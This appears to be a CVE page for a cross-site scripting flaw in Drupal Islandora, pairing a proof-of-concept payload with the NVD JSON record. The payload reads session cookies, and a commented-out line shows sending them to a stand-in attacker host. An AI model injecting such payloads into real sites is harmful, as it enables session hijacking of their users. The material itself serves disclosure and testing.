CVE-2026-3215

<!-- // PoC for CVE-2026-3215 // Inject this payload into a vulnerable field in Islandora (e.g., user profile, metadata field) --> <script> // Verify execution alert('CVE-2026-3215 XSS Triggered'); // Simulate data exfiltration var currentCookie = document.cookie; var payload = encodeURIComponent(currentCookie); // Send to attacker controlled server (example) // var img = new Image(); // img.src = "https://attacker.com/log?c=" + payload; </script> <!-- Alternative payload using img tag if scripts are stripped --> <img src=x onerror=alert('XSS')>

{"cve": {"id": "CVE-2026-3215", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:22.640", "lastModified": "2026-03-31T19:24:49.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (\"Cross-site Scripting\") vulnerability in Drupal Islandora allows Cross-Site Scripting (XSS).This issue affects Islandora: from 0.0.0 before 2.17.5."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Drupal Islandora permite cross-site scripting (XSS). Este problema afecta a Islandora: desde 0.0.0 antes de 2.17.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:islandora:islandora:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "2.17.5", "matchCriteriaId": "4C18B2C7-8D7F-4222-9209-FE3763062DD4"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-016", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}